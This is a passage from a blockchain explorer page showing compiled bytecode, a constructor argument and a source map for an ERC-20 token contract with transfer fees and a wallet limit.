b03821615155b61079c5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016105a2565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061082957506014546001600160a01b03838116911614155b801561083e57506001600160a01b0382163014155b801561085857506013546001600160a01b03838116911614155b801561087257506015546001600160a01b03838116911614155b801561088c57506000546001600160a01b03848116911614155b15610918576001600160a01b038216600090815260026020526040902054600f546108b78383611179565b11156109165760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016105a2565b505b6001600160a01b0383161580159061093857506001600160a01b03821615155b61097c5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016105a2565b600081116109da5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016105a2565b600a5460ff620100008204811661010090920416108015906109fd575060105481115b8015610a135750601354600160a01b900460ff16155b8015610a3857506001600160a01b03831660009081526004602052604090205460ff16155b8015610a5157506013546001600160a01b038381169116145b8015610a5f5750600a5460ff165b15610a9057600a805461ff0019169055306000908152600260205260409020548015610a8e57610a8e81610b8d565b505b6001600160a01b03831660009081526004602052604090205460019060ff1680610ad257506001600160a01b03831660009081526004602052604090205460ff165b80610b0457506013546001600160a01b03858116911614801590610b0457506013546001600160a01b03848116911614155b15610b1157506000610b4f565b6013546001600160a01b0390811690851603610b3257600654600555610b4f565b6013546001600160a01b0390811690841603610b4f576007546005555b610b5b84848484610bd2565b50505050565b60008184841115610b855760405162461bcd60e51b81526004016105a29190610fcb565b505050900390565b6013805460ff60a01b1916600160a01b179055610ba981610c3d565b6014544790610bc1906001600160a01b031682610d97565b50506013805460ff60a01b19169055565b80610be457610bdf610dd2565b610c16565b600a8054610100900460ff16906001610bfc8361118c565b91906101000a81548160ff021916908360ff160217905550505b610c21848484610e17565b80610b5b57610b5b600c54600555600d54600655600e54600755565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c7257610c726111ab565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cef91906111c1565b81600181518110610d0257610d026111ab565b6001600160a01b039283166020918202929092010152601254610d28913091168461073c565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d619085906000908690309042906004016111de565b600060405180830381600087803b158015610d7b57600080fd5b505af1158015610d8f573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610dcd573d6000803e3d6000fd5b505050565b600554158015610de25750600654155b8015610dee5750600754155b15610df557565b60068054600d5560078054600e5560058054600c556000928390559082905555565b600080610e2383610f56565b6001600160a01b038716600090815260046020908152604080832054600f5460029093529083205494965092945060ff90921692919091111590828015610e675750815b90508015610e785760009350600095505b6001600160a01b038816600090815260026020526040902054610e9b9087610f94565b6001600160a01b03808a166000908152600260205260408082209390935590891681522054610eca9086610fa7565b6001600160a01b038816600090815260026020526040808220929092553081522054610ef69085610fa7565b3060009081526002602090815260409182902092909255518681526001600160a01b0389811692908b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505050565b6000806000610f7b6064610f7560055487610fb390919063ffffffff16565b90610fbf565b90506000610f898583610f94565b959194509092505050565b6000610fa0828461124f565b9392505050565b6000610fa08284611179565b6000610fa08284611262565b6000610fa08284611279565b600060208083528351808285015260005b81811015610ff857858101830151858201604001528201610fdc565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461102e57600080fd5b50565b6000806040838503121561104457600080fd5b823561104f81611019565b946020939093013593505050565b60008060006060848603121561107257600080fd5b833561107d81611019565b9250602084013561108d81611019565b929592945050506040919091013590565b6000602082840312156110b057600080fd5b8135610fa081611019565b600080604083850312156110ce57600080fd5b82356110d981611019565b915060208301356110e981611019565b809150509250929050565b600181811c9082168061110857607f821691505b60208210810361112857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561050957610509611163565b600060ff821660ff81036111a2576111a2611163565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111d357600080fd5b8151610fa081611019565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561122e5784516001600160a01b031683529383019391830191600101611209565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561050957610509611163565b808202811582820484141761050957610509611163565b60008261129657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201345cedc702ace5fdfec4159374349c8882ba39759fca7608b0ca385a72accb664736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000fa6348d3a745cbb98975ec04b1bb169f8d4bb427

-----Decoded View---------------
Arg [0] : PTRNWallet (address): 0xFA6348d3a745cbb98975ec04b1bb169f8d4Bb427

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000fa6348d3a745cbb98975ec04b1bb169f8d4bb427


Deployed Bytecode Sourcemap

4923:8129:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7004:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7519:161;;;;;;;;;;-1:-1:-1;7519:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7519:161:0;1023:187:1;5921:53:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5921:53:0;1215:177:1;5664:30:0;;;;;;;;;;;;;;;;6047:41;;;;;;;;;;-1:-1:-1;6047:41:0;;;;-1:-1:-1;;;;;6047:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;6047:41:0;1397:229:1;7281:100:0;;;;;;;;;;-1:-1:-1;7361:12:0;;7281:100;;6130:28;;;;;;;;;;-1:-1:-1;6130:28:0;;;;-1:-1:-1;;;6130:28:0;;;;;;12232:313;;;;;;;;;;-1:-1:-1;12232:313:0;;;;;:::i;:::-;;:::i;7190:83::-;;;;;;;;;;-1:-1:-1;7231:5:0;7256:9;-1:-1:-1;;;7256:9:0;;;;7190:83;;2264:4:1;2252:17;;;2234:36;;2222:2;2207:18;7190:83:0;2092:184:1;5376:27:0;;;;;;;;;;;;;;;;12042:178;;;;;;;;;;;;;:::i;:::-;;6095:28;;;;;;;;;;-1:-1:-1;6095:28:0;;;;-1:-1:-1;;;;;6095:28:0;;;5540:40;;;;;;;;;;-1:-1:-1;5540:40:0;;;;;;;;5410:28;;;;;;;;;;;;;;;;7389:118;;;;;;;;;;-1:-1:-1;7389:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;7482:17:0;7455:7;7482:17;;;:8;:17;;;;;;;7389:118;2951:148;;;;;;;;;;;;;:::i;5239:51::-;;;;;;;;;;-1:-1:-1;5239:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5859:55;;;;;;;;;;;;;;;;2728:87;;;;;;;;;;-1:-1:-1;2774:7:0;2801:6;-1:-1:-1;;;;;2801:6:0;2728:87;;7095;;;;;;;;;;;;;:::i;7692:167::-;;;;;;;;;;-1:-1:-1;7692:167:0;;;;;:::i;:::-;;:::i;12557:143::-;;;;;;;;;;-1:-1:-1;12557:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;12665:18:0;;;12638:7;12665:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;12557:143;3107:244;;;;;;;;;;-1:-1:-1;3107:244:0;;;;;:::i;:::-;;:::i;7004:83::-;7041:13;7074:5;7067:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7004:83;:::o;7519:161::-;7594:4;7611:39;2269:10;7634:7;7643:6;7611:8;:39::i;:::-;-1:-1:-1;7668:4:0;7519:161;;;;;:::o;12232:313::-;12330:4;12347:36;12357:6;12365:9;12376:6;12347:9;:36::i;:::-;12394:121;12403:6;2269:10;12425:89;12463:6;12425:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12425:19:0;;;;;;:11;:19;;;;;;;;2269:10;12425:33;;;;;;;;;;:37;:89::i;:::-;12394:8;:121::i;:::-;-1:-1:-1;12533:4:0;12232:313;;;;;:::o;12042:178::-;2774:7;2801:6;-1:-1:-1;;;;;2801:6:0;2269:10;2863:23;2855:68;;;;-1:-1:-1;;;2855:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;12100:15:0::1;:29:::0;12162:3:::1;12150:9;:15:::0;12186:1:::1;12176:7;:11:::0;;;12199:8:::1;:12:::0;12042:178::o;2951:148::-;2774:7;2801:6;-1:-1:-1;;;;;2801:6:0;2269:10;2863:23;2855:68;;;;-1:-1:-1;;;2855:68:0;;;;;;;:::i;:::-;3058:1:::1;3042:6:::0;;3021:40:::1;::::0;-1:-1:-1;;;;;3042:6:0;;::::1;::::0;3021:40:::1;::::0;3058:1;;3021:40:::1;3089:1;3072:19:::0;;-1:-1:-1;;;;;;3072:19:0::1;::::0;;2951:148::o;7095:87::-;7134:13;7167:7;7160:14;;;;;:::i;7692:167::-;7770:4;7787:42;2269:10;7811:9;7822:6;7787:9;:42::i;3107:244::-;2774:7;2801:6;-1:-1:-1;;;;;2801:6:0;2269:10;2863:23;2855:68;;;;-1:-1:-1;;;2855:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3196:22:0;::::1;3188:73;;;::::0;-1:-1:-1;;;3188:73:0;;4082:2:1;3188:73:0::1;::::0;::::1;4064:21:1::0;4121:2;4101:18;;;4094:30;4160:34;4140:18;;;4133:62;-1:-1:-1;;;4211:18:1;;;4204:36;4257:19;;3188:73:0::1;3880:402:1::0;3188:73:0::1;3298:6;::::0;;3277:38:::1;::::0;-1:-1:-1;;;;;3277:38:0;;::::1;::::0;3298:6;::::1;::::0;3277:38:::1;::::0;::::1;3326:6;:17:::0;;-1:-1:-1;;;;;;3326:17:0::1;-1:-1:-1::0;;;;;3326:17:0;;;::::1;::::0;;;::::1;::::0;;3107:244::o;9580:262::-;-1:-1:-1;;;;;9673:19:0;;;;;;:44;;-1:-1:-1;;;;;;9696:21:0;;;;9673:44;9665:74;;;;-1:-1:-1;;;9665:74:0;;4489:2:1;9665:74:0;;;4471:21:1;4528:2;4508:18;;;4501:30;-1:-1:-1;;;4547:18:1;;;4540:47;4604:18;;9665:74:0;4287:341:1;9665:74:0;-1:-1:-1;;;;;9750:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9802:32;;1361:25:1;;;9802:32:0;;1334:18:1;9802:32:0;;;;;;;9580:262;;;:::o;7879:1520::-;2774:7;2801:6;-1:-1:-1;;;;;7997:13:0;;;2801:6;;7997:13;;;;:47;;-1:-1:-1;8033:11:0;;-1:-1:-1;;;;;8027:17:0;;;8033:11;;8027:17;;7997:47;:83;;;;-1:-1:-1;;;;;;8061:19:0;;8075:4;8061:19;;7997:83;:119;;;;-1:-1:-1;8103:13:0;;-1:-1:-1;;;;;8097:19:0;;;8103:13;;8097:19;;7997:119;:146;;;;-1:-1:-1;8139:4:0;;-1:-1:-1;;;;;8133:10:0;;;8139:4;;8133:10;;7997:146;:178;;;;-1:-1:-1;2774:7:0;2801:6;-1:-1:-1;;;;;8160:15:0;;;2801:6;;8160:15;;7997:178;7993:359;;;-1:-1:-1;;;;;7482:17:0;;8192:18;7482:17;;;:8;:17;;;;;;8274:15;;8250:19;8263:6;7482:17;8250:19;:::i;:::-;8249:40;;8241:92;;;;-1:-1:-1;;;8241:92:0;;5097:2:1;8241:92:0;;;5079:21:1;5136:2;5116:18;;;5109:30;5175:34;5155:18;;;5148:62;-1:-1:-1;;;5226:18:1;;;5219:38;5274:19;;8241:92:0;4895:404:1;8241:92:0;8177:175;7993:359;-1:-1:-1;;;;;8372:18:0;;;;;;:38;;-1:-1:-1;;;;;;8394:16:0;;;;8372:38;8364:72;;;;-1:-1:-1;;;8364:72:0;;5506:2:1;8364:72:0;;;5488:21:1;5545:2;5525:18;;;5518:30;-1:-1:-1;;;5564:18:1;;;5557:51;5625:18;;8364:72:0;5304:345:1;8364:72:0;8464:1;8455:6;:10;8447:60;;;;-1:-1:-1;;;8447:60:0;;5856:2:1;8447:60:0;;;5838:21:1;5895:2;5875:18;;;5868:30;5934:34;5914:18;;;5907:62;-1:-1:-1;;;5985:18:1;;;5978:35;6030:19;;8447:60:0;5654:401:1;8447:60:0;8552:15;;;;;;;;;8537:11;;;;:30;;;;:71;;;8594:14;;8585:6;:23;8537:71;:105;;;;-1:-1:-1;8626:16:0;;-1:-1:-1;;;8626:16:0;;;;8625:17;8537:105;:147;;;;-1:-1:-1;;;;;;8660:24:0;;;;;;:18;:24;;;;;;;;8659:25;8537:147;:183;;;;-1:-1:-1;8707:13:0;;-1:-1:-1;;;;;8701:19:0;;;8707:13;;8701:19;8537:183;:221;;;;-1:-1:-1;8737:21:0;;;;8537:221;8520:467;;;8801:11;:15;;-1:-1:-1;;8801:15:0;;;8880:4;-1:-1:-1;7482:17:0;;;:8;:17;;;;;;8904:24;;8901:75;;8931:42;8952:20;8931;:42::i;:::-;8784:203;8520:467;-1:-1:-1;;;;;9043:24:0;;8999:12;9043:24;;;:18;:24;;;;;;9014:4;;9043:24;;;:50;;-1:-1:-1;;;;;;9071:22:0;;;;;;:18;:22;;;;;;;;9043:50;:100;;;-1:-1:-1;9106:13:0;;-1:-1:-1;;;;;9098:21:0;;;9106:13;;9098:21;;;;:44;;-1:-1:-1;9129:13:0;;-1:-1:-1;;;;;9123:19:0;;;9129:13;;9123:19;;9098:44;9040:301;;;-1:-1:-1;9169:5:0;9040:301;;;9204:13;;-1:-1:-1;;;;;9204:13:0;;;9196:21;;;;9192:149;;9245:7;;9233:9;:19;9192:149;;;9280:13;;-1:-1:-1;;;;;9280:13:0;;;9274:19;;;;9270:71;;9321:8;;9309:9;:20;9270:71;9353:38;9368:4;9373:2;9376:6;9383:7;9353:14;:38::i;:::-;7982:1417;7879:1520;;;:::o;4493:206::-;4579:7;4640:12;4632:6;;;;4624:29;;;;-1:-1:-1;;;4624:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;4675:5:0;;;4493:206::o;9850:237::-;6333:16;:23;;-1:-1:-1;;;;6333:23:0;-1:-1:-1;;;6333:23:0;;;9941:36:::1;9956:20:::0;9941:14:::1;:36::i;:::-;10057:11;::::0;10008:21:::1;::::0;10040:39:::1;::::0;-1:-1:-1;;;;;10057:11:0::1;10008:21:::0;10040:16:::1;:39::i;:::-;-1:-1:-1::0;;6379:16:0;:24;;-1:-1:-1;;;;6379:24:0;;;9850:237::o;11660:366::-;11785:7;11781:115;;11808:18;:16;:18::i;:::-;11781:115;;;11867:11;:13;;;;;;;;:11;:13;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;11781:115;11906:46;11926:6;11934:9;11945:6;11906:19;:46::i;:::-;11977:7;11973:45;;11999:19;9467:17;;9455:9;:29;9505:15;;9495:7;:25;9543:16;;-1:-1:-1;9532:27:0;9407:161;11182:470;11270:16;;;11284:1;11270:16;;;;;;;;11246:21;;11270:16;;;;;;;;;;-1:-1:-1;11270:16:0;11246:40;;11315:4;11297;11302:1;11297:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11297:23:0;;;:7;;;;;;;;;;:23;;;;11341:15;;:22;;;-1:-1:-1;;;11341:22:0;;;;:15;;;;;:20;;:22;;;;;11297:7;;11341:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11331:4;11336:1;11331:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11331:32:0;;;:7;;;;;;;;;:32;11406:15;;11374:62;;11391:4;;11406:15;11424:11;11374:8;:62::i;:::-;11447:15;;:197;;-1:-1:-1;;;11447:197:0;;-1:-1:-1;;;;;11447:15:0;;;;:66;;:197;;11528:11;;11447:15;;11571:4;;11598;;11618:15;;11447:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11235:417;11182:470;:::o;10802:116::-;10887:23;;-1:-1:-1;;;;;10887:15:0;;;:23;;;;;10903:6;;10887:23;;;;10903:6;10887:15;:23;;;;;;;;;;;;;;;;;;;;;10802:116;;:::o;12712:300::-;12762:9;;:14;:30;;;;-1:-1:-1;12780:7:0;;:12;12762:30;:47;;;;-1:-1:-1;12796:8:0;;:13;12762:47;12759:59;;;12712:300::o;12759:59::-;12848:7;;;12830:15;:25;12886:8;;;12867:16;:27;12926:9;;;12906:17;:29;-1:-1:-1;12946:11:0;;;;12968:12;;;;12991:13;12712:300::o;10099:695::-;10210:23;10235:13;10252:23;10267:7;10252:14;:23::i;:::-;-1:-1:-1;;;;;10308:26:0;;10286:19;10308:26;;;:18;:26;;;;;;;;;10383:15;;10363:8;:16;;;;;;;10209:66;;-1:-1:-1;10209:66:0;;-1:-1:-1;10308:26:0;;;;;10363:35;;;;;;10308:26;10424:28;;;;;10442:10;10424:28;10409:43;;10466:7;10463:61;;;10498:1;10490:9;;10511:1;10501:11;;10463:61;-1:-1:-1;;;;;10553:16:0;;;;;;:8;:16;;;;;;:29;;10574:7;10553:20;:29::i;:::-;-1:-1:-1;;;;;10534:16:0;;;;;;;:8;:16;;;;;;:48;;;;10615:19;;;;;;;:40;;10639:15;10615:23;:40::i;:::-;-1:-1:-1;;;;;10593:19:0;;;;;;:8;:19;;;;;;:62;;;;10709:4;10692:23;;;;:34;;10720:5;10692:27;:34::i;:::-;10683:4;10666:23;;;;:8;:23;;;;;;;;;:60;;;;10742:44;1361:25:1;;;-1:-1:-1;;;;;10742:44:0;;;;;;;;;;1334:18:1;10742:44:0;;;;;;;10188:606;;;;;10099:695;;;:::o;10930:244::-;10993:7;11002;11022:13;11038:31;11065:3;11038:22;11050:9;;11038:7;:11;;:22;;;;:::i;:::-;:26;;:31::i;:::-;11022:47;-1:-1:-1;11080:23:0;11106:18;:7;11022:47;11106:11;:18::i;:::-;11080:44;11160:5;;-1:-1:-1;10930:244:0;;-1:-1:-1;;;10930:244:0:o;4171:98::-;4229:7;4256:5;4260:1;4256;:5;:::i;:::-;4249:12;4171:98;-1:-1:-1;;;4171:98:0:o;4065:::-;4123:7;4150:5;4154:1;4150;:5;:::i;4277:98::-;4335:7;4362:5;4366:1;4362;:5;:::i;4387:98::-;4445:7;4472:5;4476:1;4472;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:380::-;3213:1;3209:12;;;;3256;;;3277:61;;3331:4;3323:6;3319:17;3309:27;;3277:61;3384:2;3376:6;3373:14;3353:18;3350:38;3347:161;;3430:10;3425:3;3421:20;3418:1;3411:31;3465:4;3462:1;3455:15;3493:4;3490:1;3483:15;3347:161;;3134:380;;;:::o;3519:356::-;3721:2;3703:21;;;3740:18;;;3733:30;3799:34;3794:2;3779:18;;3772:62;3866:2;3851:18;;3519:356::o;4633:127::-;4694:10;4689:3;4685:20;4682:1;4675:31;4725:4;4722:1;4715:15;4749:4;4746:1;4739:15;4765:125;4830:9;;;4851:10;;;4848:36;;;4864:18;;:::i;6060:175::-;6097:3;6141:4;6134:5;6130:16;6170:4;6161:7;6158:17;6155:43;;6178:18;;:::i;:::-;6227:1;6214:15;;6060:175;-1:-1:-1;;6060:175:1:o;6372:127::-;6433:10;6428:3;6424:20;6421:1;6414:31;6464:4;6461:1;6454:15;6488:4;6485:1;6478:15;6504:251;6574:6;6627:2;6615:9;6606:7;6602:23;6598:32;6595:52;;;6643:1;6640;6633:12;6595:52;6675:9;6669:16;6694:31;6719:5;6694:31;:::i;6760:980::-;7022:4;7070:3;7059:9;7055:19;7101:6;7090:9;7083:25;7127:2;7165:6;7160:2;7149:9;7145:18;7138:34;7208:3;7203:2;7192:9;7188:18;7181:31;7232:6;7267;7261:13;7298:6;7290;7283:22;7336:3;7325:9;7321:19;7314:26;;7375:2;7367:6;7363:15;7349:29;;7396:1;7406:195;7420:6;7417:1;7414:13;7406:195;;;7485:13;;-1:-1:-1;;;;;7481:39:1;7469:52;;7576:15;;;;7541:12;;;;7517:1;7435:9;7406:195;;;-1:-1:-1;;;;;;;7657:32:1;;;;7652:2;7637:18;;7630:60;-1:-1:-1;;;7721:3:1;7706:19;7699:35;7618:3;6760:980;-1:-1:-1;;;6760:980:1:o;7745:128::-;7812:9;;;7833:11;;;7830:37;;;7847:18;;:::i;7878:168::-;7951:9;;;7982;;7999:15;;;7993:22;;7979:37;7969:71;;8020:18;;:::i;8051:217::-;8091:1;8117;8107:132;;8161:10;8156:3;8152:20;8149:1;8142:31;8196:4;8193:1;8186:15;8224:4;8221:1;8214:15;8107:132;-1:-1:-1;8253:9:1;;8051:217::o

Swarm Source

ipfs://1345cedc702ace5fdfec4159374349c8882ba39759fca7608b0ca385a72accb6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.